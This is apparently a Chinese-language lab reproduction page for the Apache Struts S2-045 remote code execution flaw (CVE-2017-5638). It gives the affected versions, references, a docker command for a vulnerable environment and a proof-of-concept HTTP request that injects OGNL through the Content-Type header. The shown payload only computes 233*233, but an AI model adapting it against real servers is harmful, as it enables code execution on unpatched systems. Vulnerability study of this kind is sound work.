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40 lines
1.0 KiB
Markdown
40 lines
1.0 KiB
Markdown
# S2-045 远程代码执行漏洞(CVE-2017-5638)
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影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
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漏洞详情:
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- http://struts.apache.org/docs/s2-045.html
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- https://blog.csdn.net/u011721501/article/details/60768657
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- https://paper.seebug.org/247/
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## 漏洞环境
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执行如下命令启动struts2 2.3.30:
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:8080`即可看到上传页面。
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## 漏洞复现
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直接发送如下数据包,可见`233*233`已成功执行:
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```
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POST / HTTP/1.1
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Host: localhost:8080
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.8,es;q=0.6
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Connection: close
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Content-Length: 0
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Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
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```
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